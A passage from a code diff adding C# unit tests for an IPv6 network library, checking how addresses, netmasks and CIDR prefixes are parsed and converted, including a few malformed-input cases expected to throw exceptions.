+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask2, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+        [TestMethod]
+        public void TestParsev6_16() {
+
+
+            IPNetwork ipnetwork = null;
+            string ipaddress = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            string netmask = "ffff:0000:0000:0000:0000:0000:0000:0000";
+
+            string network = "ffff::";
+            string netmask2 = "ffff::";
+            //string broadcast = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            string firstUsable = "ffff::";
+            string lastUsable = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            byte cidr = 16;
+            BigInteger usable = BigInteger.Pow(2, (128 - cidr)) ;
+
+            bool parsed = IPNetwork.TryParse(ipaddress, netmask, out ipnetwork);
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask2, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+
+
+        [TestMethod]
+        public void TestParsev6_EDGE() {
+
+
+            IPNetwork ipnetwork = null;
+            string ipaddress = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            string netmask = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+
+            string network = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            string firstUsable = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            string lastUsable = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            byte cidr = 128;
+            uint usable = 1;
+
+            bool parsed = IPNetwork.TryParse(ipaddress, netmask, out ipnetwork);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+        #endregion 
+
+        #region ParseString
+
+        [TestMethod]
+        public void TestParseString1() {
+
+            string ipaddress = "2001:0db8:: ffff:ffff:ffff:ffff:ffff:ffff:ffff:fff0";
+
+            string network = "2001:db8::";
+            string netmask = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:fff0";
+            string firstUsable = "2001:db8::";
+            string lastUsable = "2001:db8::f";
+            byte cidr = 124;
+            uint usable = 16;
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+        [TestMethod]
+        public void TestParseString3() {
+
+            string ipaddress = ":: ::";
+
+            string network = "::";
+            string netmask = "::";
+            string firstUsable = "::";
+            string lastUsable = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            byte cidr = 0;
+            BigInteger usable = BigInteger.Pow(2, (128 - cidr));
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+        [TestMethod]
+        public void TestParseString4() {
+
+            string ipaddress = "::/0";
+
+            string network = "::";
+            string netmask = "::";
+            string firstUsable = "::";
+            string lastUsable = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            byte cidr = 0;
+            BigInteger usable = BigInteger.Pow(2, (128 - cidr));
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+
+        [TestMethod]
+        public void TestParseString5() {
+
+            string ipaddress = "::/32";
+
+            string network = "::";
+            string netmask = "ffff:ffff::";
+            string firstUsable = "::";
+            string lastUsable = "::ffff:ffff:ffff:ffff:ffff:ffff";
+            byte cidr = 32;
+            BigInteger usable = BigInteger.Pow(2, (128 - cidr)) ;
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+
+        [TestMethod]
+        public void TestParseString6()
+        {
+
+            string ipaddress = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff/128";
+
+            string network = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            string netmask = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            string firstUsable = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            string lastUsable = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            byte cidr = 128;
+            uint usable = 1;
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+
+        [TestMethod]
+        public void TestParseString7_Uppercase_ipv6_must_parse()
+        {
+
+            string ipaddress = "2FFF:FFFF:123::/60";
+
+            string network = "2fff:ffff:123::";
+            string netmask = "ffff:ffff:ffff:fff0::";
+            string firstUsable = "2fff:ffff:123::";
+            string lastUsable = "2fff:ffff:123:f:ffff:ffff:ffff:ffff";
+            byte cidr = 60;
+            // BigInteger usable = 295147905179352825856;
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            //Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+        [TestMethod]
+        public void TestParseString8_Uppercase_ipv6_must_parse()
+        {
+
+            string ipaddress = "2FFF:FFFE:123::/60";
+
+            string network = "2fff:fffe:123::";
+            string netmask = "ffff:ffff:ffff:fff0::";
+            string firstUsable = "2fff:fffe:123::";
+            string lastUsable = "2fff:fffe:123:f:ffff:ffff:ffff:ffff";
+            byte cidr = 60;
+            // BigInteger usable = 295147905179352825856;
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            //Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+
+        }
+
+        [TestMethod]
+        public void TestParseString9_Uppercase_ipv6_must_parse()
+        {
+
+            string ipaddress = "2FFF:FFFC:123::/60";
+
+            string network = "2fff:fffc:123::";
+            string netmask = "ffff:ffff:ffff:fff0::";
+            string firstUsable = "2fff:fffc:123::";
+            string lastUsable = "2fff:fffc:123:f:ffff:ffff:ffff:ffff";
+            byte cidr = 60;
+            // BigInteger usable = 295147905179352825856;
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            //Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+
+        [TestMethod]
+        public void TestParseString10_Uppercase_ipv6_must_parse()
+        {
+
+            string ipaddress = "2FFF:FFFA:123::/60";
+
+            string network = "2fff:fffa:123::";
+            string netmask = "ffff:ffff:ffff:fff0::";
+            string firstUsable = "2fff:fffa:123::";
+            string lastUsable = "2fff:fffa:123:f:ffff:ffff:ffff:ffff";
+            byte cidr = 60;
+            // BigInteger usable = 295147905179352825856;
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            //Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+
+        [TestMethod]
+        public void TestParseString11_Uppercase_ipv6_must_parse()
+        {
+
+            string ipaddress = "FFFF:FFF1:123::/60";
+
+            string network = "ffff:fff1:123::";
+            string netmask = "ffff:ffff:ffff:fff0::";
+            string firstUsable = "ffff:fff1:123::";
+            string lastUsable = "ffff:fff1:123:f:ffff:ffff:ffff:ffff";
+            byte cidr = 60;
+            // BigInteger usable = 295147905179352825856;
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            //Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+
+        [TestMethod]
+        public void TestParseIPAddressNoNetmask1() {
+
+            string ipaddress = "2001:0db8::";
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+
+
+            string network = "2001:db8::";
+            string netmask = "ffff:ffff:ffff:ffff::";
+            string firstUsable = "2001:db8::";
+            string lastUsable = "2001:db8::ffff:ffff:ffff:ffff";
+            byte cidr = 64;
+            var usable = BigInteger.Pow(2, 64);
+
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+        }
+
+        [TestMethod]
+        public void TestParseIPAddressNoNetmask4() {
+
+            string ipaddress = "::";
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+
+
+
+            string network = "::";
+            string netmask = "ffff:ffff:ffff:ffff::";
+            string firstUsable = "::";
+            string lastUsable = "::ffff:ffff:ffff:ffff";
+            byte cidr = 64;
+            var usable = BigInteger.Pow(2, 64);
+
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+        }
+
+        [TestMethod]
+        public void TestParseIPAddressNoNetmask5() {
+
+            string ipaddress = "2001:0db8::1";
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+
+            string network = "2001:db8::";
+            string netmask = "ffff:ffff:ffff:ffff::";
+            string firstUsable = "2001:db8::";
+            string lastUsable = "2001:db8::ffff:ffff:ffff:ffff";
+            byte cidr = 64;
+            var usable = BigInteger.Pow(2, 64);
+
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+        }
+
+
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentException))]
+        public void TestParseStringAE1() {
+            string ipaddress = "garbage";
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentException))]
+        public void TestParseStringAE2() {
+            string ipaddress = "0:0:0:0:0:0:1:0:0 0:1:2:3:4:5:6:7:8";
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentNullException))]
+        public void TestParseStringANE1() {
+            string ipaddress = null;
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+        }
+
+
+        #endregion
+
+        #region ParseStringString
+
+        [TestMethod]
+        public void TestParseStringString1() {
+
+            string ipaddress = "2001:0db8::";
+            string netmask = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:fff0";
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress, netmask);
+            Assert.AreEqual("2001:db8::/124", ipnetwork.ToString(), "network");
+
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentNullException))]
+        public void TestParseStringString3() {
+
+            string ipaddress = "2001:0db8::";
+            string netmask = null;
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress, netmask);
+
+        }
+
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentNullException))]
+        public void TestParseStringString5() {
+
+            string ipaddress = "2001:0db8::";
+            string netmask = "";
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress, netmask);
+
+        }
+
+        #endregion
+
+        #region ParseIpIp
+
+        [TestMethod]
+        public void ParseIpIp1() {
+
+            string ipaddress = "2001:0db8::";
+            string netmask = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:fff0";
+            IPAddress ip = IPAddress.Parse(ipaddress);
+            IPAddress netm = IPAddress.Parse(netmask);
+            IPNetwork ipnetwork = IPNetwork.Parse(ip, netm);
+            Assert.AreEqual("2001:db8::/124", ipnetwork.ToString(), "network");
+
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentNullException))]
+        public void ParseIpIp3() {
+
+            string ipaddress = "2001:0db8::";
+            IPAddress ip = IPAddress.Parse(ipaddress);
+            IPAddress netm = null;
+            IPNetwork ipnetwork = IPNetwork.Parse(ip, netm);
+
+        }
+
+        #endregion
+        
+        #region ToCidr
+
+        [TestMethod]
+        public void TestToCidrAE() {
+            byte cidr = IPNetwork.ToCidr(IPAddress.IPv6Any);
+            Assert.AreEqual(0, cidr, "cidr");
+        }
+
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentException))]
+        public void TestToCidrAE2() {
+            IPNetwork.ToCidr(IPAddress.Parse("2001:db8:3:4:5:6:7:8"));
+        }
+
+
+        [TestMethod]
+        public void TestToCidr128() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff");
+            byte cidr = 128;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestToCidr127() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:fffe");
+            byte cidr = 127;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestToCidr126() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:fffc");
+            byte cidr = 126;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestToCidr125() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:fff8");
+            byte cidr = 125;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestToCidr124() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:fff0");
+            byte cidr = 124;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestToCidr123() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffe0");
+            byte cidr = 123;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestToCidr122() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffc0");
+            byte cidr = 122;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestToCidr121() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:ff80");
+            byte cidr = 121;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestToCidr120() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:ff00");
+            byte cidr = 120;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestToCidr119() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:fe00");
+            byte cidr = 119;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestToCidr118() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:fc00");
+            byte cidr = 118;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestToCidr117() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:f800");
+            byte cidr = 117;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestToCidr116() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:f000");
+            byte cidr = 116;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestToCidr115() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:e000");
+            byte cidr = 115;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestToCidr114() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:c000");
+            byte cidr = 114;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestToCidr113() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:8000");
+            byte cidr = 113;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestToCidr112() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:0000");
+            byte cidr = 112;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestToCidr111() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:fffe:0");
+            byte cidr = 111;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestToCidr110() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:fffc:0");
+            byte cidr = 110;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestToCidr109() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:fff8:0");
+            byte cidr = 109;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestToCidr108() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:fff0:0");
+            byte cidr = 108;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestToCidr001() {
+
+            IPAddress mask = IPAddress.Parse("8000::");
+            byte cidr = 1;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestToCidr000() {
+
+            IPAddress mask = IPAddress.Parse("::");
+            byte cidr = 0;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        #endregion
+
+        #region TryToCidr
+        
+
+        [TestMethod]
+        public void TestTryToCidr128() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff");
+            byte cidr = 128;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+
+        }
+
+        [TestMethod]
+        public void TestTryToCidr127() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:fffe");
+            byte cidr = 127;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestTryToCidr126() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:fffc");
+            byte cidr = 126;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestTryToCidr125() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:fff8");
+            byte cidr = 125;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestTryToCidr124() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:fff0");
+            byte cidr = 124;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestTryToCidr123() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffe0");
+            byte cidr = 123;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestTryToCidr122() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffc0");
+            byte cidr = 122;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestTryToCidr121() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:ff80");
+            byte cidr = 121;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestTryToCidr120() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:ff00");
+            byte cidr = 120;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestTryToCidr119() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:fe00");
+            byte cidr = 119;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestTryToCidr118() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:fc00");
+            byte cidr = 118;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestTryToCidr117() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:f800");
+            byte cidr = 117;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
